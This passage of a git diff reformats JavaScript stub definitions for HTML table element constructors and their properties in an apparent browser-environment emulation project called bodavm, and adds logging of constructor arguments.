bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "abbr", {configurable:true, enumerable:true, get:function abbr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "abbr_get", arguments)}, set:function abbr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "abbr_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "scope", {configurable:true, enumerable:true, get:function scope (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "scope_get", arguments)}, set:function scope (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "scope_set", arguments)}},'prototype'); +// HTMLTableCellElement对象 + +bodavm.memory.globalobj['HTMLTableCellElement'] = function HTMLTableCellElement() { + console.log_copy('HTMLTableCellElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableCellElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableCellElement'], "HTMLTableCellElement"); +bodavm.memory.globalobj['HTMLTableCellElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableCellElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "colSpan", { + configurable: true, + enumerable: true, + get: function colSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "colSpan_get", arguments); + }, + set: function colSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "colSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "rowSpan", { + configurable: true, + enumerable: true, + get: function rowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "rowSpan_get", arguments); + }, + set: function rowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "rowSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "headers", { + configurable: true, + enumerable: true, + get: function headers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "headers_get", arguments); + }, + set: function headers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "headers_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "cellIndex", { + configurable: true, + enumerable: true, + get: function cellIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "cellIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "axis", { + configurable: true, + enumerable: true, + get: function axis() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "axis_get", arguments); + }, + set: function axis() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "axis_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "ch", { + configurable: true, + enumerable: true, + get: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "ch_get", arguments); + }, + set: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "ch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "chOff", { + configurable: true, + enumerable: true, + get: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "chOff_get", arguments); + }, + set: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "chOff_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "noWrap", { + configurable: true, + enumerable: true, + get: function noWrap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "noWrap_get", arguments); + }, + set: function noWrap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "noWrap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "vAlign", { + configurable: true, + enumerable: true, + get: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "vAlign_get", arguments); + }, + set: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "vAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "bgColor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "abbr", { + configurable: true, + enumerable: true, + get: function abbr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "abbr_get", arguments); + }, + set: function abbr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "abbr_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableCellElement', "scope", { + configurable: true, + enumerable: true, + get: function scope() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "scope_get", arguments); + }, + set: function scope() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableCellElement'].prototype, "HTMLTableCellElement", "scope_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTableColElement.js b/env_xbb_lastest_jsdom/env/HTMLTableColElement.js index 857e176c..32fb8eb9 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTableColElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTableColElement.js @@ -1,11 +1,79 @@ -// HTMLTableColElement对象 -bodavm.memory.globalobj['HTMLTableColElement'] = function HTMLTableColElement(){if (!(this instanceof HTMLTableColElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableColElement'], "HTMLTableColElement"); -bodavm.memory.globalobj['HTMLTableColElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableColElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "span", {configurable:true, enumerable:true, get:function span (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "span_get", arguments)}, set:function span (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "span_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "ch", {configurable:true, enumerable:true, get:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "ch_get", arguments)}, set:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "ch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "chOff", {configurable:true, enumerable:true, get:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "chOff_get", arguments)}, set:function chOff (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "chOff_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "vAlign", {configurable:true, enumerable:true, get:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "vAlign_get", arguments)}, set:function vAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "vAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableColElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "width_set", arguments)}},'prototype'); +// HTMLTableColElement对象 + +bodavm.memory.globalobj['HTMLTableColElement'] = function HTMLTableColElement() { + console.log_copy('HTMLTableColElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableColElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableColElement'], "HTMLTableColElement"); +bodavm.memory.globalobj['HTMLTableColElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableColElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "span", { + configurable: true, + enumerable: true, + get: function span() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "span_get", arguments); + }, + set: function span() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "span_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "ch", { + configurable: true, + enumerable: true, + get: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "ch_get", arguments); + }, + set: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "ch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "chOff", { + configurable: true, + enumerable: true, + get: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "chOff_get", arguments); + }, + set: function chOff() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "chOff_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "vAlign", { + configurable: true, + enumerable: true, + get: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "vAlign_get", arguments); + }, + set: function vAlign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "vAlign_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableColElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableColElement'].prototype, "HTMLTableColElement", "width_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLTableElement.js b/env_xbb_lastest_jsdom/env/HTMLTableElement.js index c35a06f5..1c689003 100644 --- a/env_xbb_lastest_jsdom/env/HTMLTableElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLTableElement.js @@ -1,28 +1,227 @@ -// HTMLTableElement对象 -bodavm.memory.globalobj['HTMLTableElement'] = function HTMLTableElement(){if (!(this instanceof HTMLTableElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableElement'], "HTMLTableElement"); -bodavm.memory.globalobj['HTMLTableElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLTableElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLTableElement', "caption", {configurable:true, enumerable:true, get:function caption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "caption_get", arguments)}, set:function caption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "caption_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "tHead", {configurable:true, enumerable:true, get:function tHead (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tHead_get", arguments)}, set:function tHead (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tHead_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "tFoot", {configurable:true, enumerable:true, get:function tFoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tFoot_get", arguments)}, set:function tFoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tFoot_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "tBodies", {configurable:true, enumerable:true, get:function tBodies (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tBodies_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rows_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "border_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "frame", {configurable:true, enumerable:true, get:function frame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "frame_get", arguments)}, set:function frame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "frame_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "rules", {configurable:true, enumerable:true, get:function rules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rules_get", arguments)}, set:function rules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rules_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "summary", {configurable:true, enumerable:true, get:function summary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "summary_get", arguments)}, set:function summary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "summary_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "bgColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "cellPadding", {configurable:true, enumerable:true, get:function cellPadding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellPadding_get", arguments)}, set:function cellPadding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellPadding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "cellSpacing", {configurable:true, enumerable:true, get:function cellSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellSpacing_get", arguments)}, set:function cellSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "cellSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "createCaption", {configurable:true, enumerable:true, writable:true, value:function createCaption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createCaption", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTBody", {configurable:true, enumerable:true, writable:true, value:function createTBody (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTBody", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTFoot", {configurable:true, enumerable:true, writable:true, value:function createTFoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTFoot", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "createTHead", {configurable:true, enumerable:true, writable:true, value:function createTHead (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "createTHead", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteCaption", {configurable:true, enumerable:true, writable:true, value:function deleteCaption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteCaption", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteRow", {configurable:true, enumerable:true, writable:true, value:function deleteRow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteRow", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteTFoot", {configurable:true, enumerable:true, writable:true, value:function deleteTFoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteTFoot", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "deleteTHead", {configurable:true, enumerable:true, writable:true, value:function deleteTHead (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "deleteTHead", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLTableElement', "insertRow", {configurable:true, enumerable:true, writable:true, value:function insertRow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "insertRow", arguments)}},'prototype'); +// HTMLTableElement对象 + +bodavm.memory.globalobj['HTMLTableElement'] = function HTMLTableElement() { + console.log_copy('HTMLTableElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableElement'], "HTMLTableElement"); +bodavm.memory.globalobj['HTMLTableElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLTableElement', "caption", { + configurable: true, + enumerable: true, + get: function caption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "caption_get", arguments); + }, + set: function caption() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "caption_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "tHead", { + configurable: true, + enumerable: true, + get: function tHead() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tHead_get", arguments); + }, + set: function tHead() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tHead_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "tFoot", { + configurable: true, + enumerable: true, + get: function tFoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tFoot_get", arguments); + }, + set: function tFoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tFoot_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "tBodies", { + configurable: true, + enumerable: true, + get: function tBodies() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "tBodies_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "rows", { + configurable: true, + enumerable: true, + get: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rows_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "border", { + configurable: true, + enumerable: true, + get: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "border_get", arguments); + }, + set: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "border_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "frame", { + configurable: true, + enumerable: true, + get: function frame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "frame_get", arguments); + }, + set: function frame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "frame_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "rules", { + configurable: true, + enumerable: true, + get: function rules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rules_get", arguments); + }, + set: function rules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "rules_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "summary", { + configurable: true, + enumerable: true, + get: function summary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "summary_get", arguments); + }, + set: function summary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "summary_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTableElement', "bgColor", { + configurable: true, + enumerable: true, + get: function bgColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTableElement'].prototype, "HTMLTableElement", "bgColor_get", arguments); + }, + set: function bgColor() { + return bodavm.toolsFunc.dispatch(this, 